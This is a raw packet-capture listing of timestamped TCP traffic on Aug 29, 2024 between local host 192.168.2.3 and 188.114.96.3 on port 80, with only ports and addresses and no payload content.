Aug 29, 2024 12:14:39.076459885 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.076478958 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.076601982 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.076642990 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.076750040 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.076782942 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.076931000 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.077009916 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.077070951 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.077197075 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.077212095 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.077213049 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.077229977 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.077250004 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.077390909 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.077402115 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.077411890 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.077424049 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.077434063 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.077435970 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.077447891 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.077457905 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.077461958 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.077471972 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.077498913 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.077513933 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.077524900 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.077536106 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.077555895 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.077569962 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.077699900 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.077716112 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.077739000 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.077755928 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.077887058 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.077898026 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.077933073 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.078063011 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.078103065 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.078248024 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.078259945 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.078269958 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.078280926 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.078286886 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.078290939 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.078303099 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.078315973 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.078325987 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.078370094 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.078371048 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.078383923 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.078416109 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.159676075 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.159761906 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.159782887 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.159795046 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.159806967 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.159817934 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.159828901 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.159842014 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.159853935 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.159871101 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.159909010 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.159955978 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.159969091 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.159980059 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.159989119 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.159993887 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.160007954 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.160020113 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.160042048 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.160115004 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.160128117 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.160140038 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.160147905 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.160151958 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.160165071 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.160176992 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.160183907 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.160192013 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.160200119 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.160217047 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.160239935 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.160284042 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.160295963 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.160305977 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.160317898 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.160317898 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.160330057 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.160334110 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.160341978 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.160355091 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.160365105 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.160377026 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.160399914 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.160473108 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.160494089 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.160506010 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.160509109 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.160518885 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.160522938 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.160541058 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.160557985 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.160759926 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.160772085 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.160783052 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.160794020 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.160823107 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.160934925 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.160947084 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.160957098 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.160968065 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.160969019 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.160983086 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.160994053 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.161000013 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.161024094 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.161124945 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.161138058 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.161149979 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.161159992 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.161185026 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.161206961 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.161220074 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.161231995 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.161242008 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.161243916 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.161257982 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.161266088 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.161272049 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.161292076 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.161309004 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.161403894 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.161417961 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.161429882 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.161433935 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.161444902 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.161452055 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.161464930 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.161465883 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.161479950 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.161483049 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.161500931 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.161514997 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.161561012 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.161595106 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.161746979 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.161760092 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.161771059 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.161777020 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.161783934 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.161793947 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.161796093 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.161808968 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.161812067 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.161822081 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.161837101 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.161997080 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.162007093 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.162106037 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.167701960 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.167715073 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.167726040 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.167737961 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.167751074 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.167753935 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.167763948 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.167778969 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.167779922 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.167789936 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.167800903 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.167802095 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.167815924 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.167821884 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.167834044 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.167843103 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.167845964 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.167856932 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.167860985 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.167872906 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.167876959 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.167886972 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.167907000 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.167922974 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.167951107 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.167963982 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.167977095 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.167984009 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.167988062 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.168001890 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.168004036 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.168019056 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.168044090 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.168222904 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.168234110 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.168246031 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.168256998 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.168260098 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.168270111 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.168279886 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.168303013 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.168351889 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.168363094 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.168374062 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.168395996 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.168414116 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.168551922 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.168564081 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.168575048 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.168586016 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.168591022 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.168597937 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.168606043 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.168612003 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.168633938 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.168647051 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.168823957 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.168837070 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.168848038 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.168859959 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.168863058 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.168872118 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.168883085 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.168888092 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.168895006 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.168911934 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.168929100 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.168952942 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.168966055 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.168976068 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.168987036 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.168986082 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.168999910 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.169013023 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.169018030 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.169028044 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.169030905 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.169060946 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.169079065 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.169084072 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.169094086 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.169111967 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.169131041 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.169267893 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.169280052 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.169291973 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.169301033 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.169305086 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.169316053 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.169317961 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.169332981 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.169353008 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.169390917 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.169425011 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.249594927 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.249614954 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.249633074 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.249643087 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.249655008 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.249665976 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.249677896 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.249731064 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.249736071 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.249748945 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.249771118 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.249787092 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.249857903 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.249871016 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.249882936 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.249893904 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.250014067 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.250025034 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.250036001 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.250047922 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.250053883 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.250058889 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.250073910 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.250088930 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.250089884 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.250111103 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.250124931 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.250134945 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.250161886 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.250238895 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.250248909 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.250260115 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.250272036 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.250279903 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.250284910 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.250298977 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.250312090 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.250328064 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.250427961 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.250439882 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.250449896 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.250462055 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.250467062 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.250474930 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.250484943 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.250487089 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.250508070 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.250531912 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.250598907 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.250610113 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.250621080 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.250632048 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.250637054 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.250644922 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.250655890 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.250660896 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.250675917 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.250700951 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.250708103 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.250719070 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.250744104 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.250874043 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.250885010 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.250896931 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.250905991 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.250910997 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.250917912 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.250930071 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.250936031 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.250941992 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.250952005 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.250953913 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.250967026 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.250976086 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.251002073 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.251241922 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.251254082 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.251265049 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.251275063 CEST	80	62660	188.114.96.3	192.168.2.3
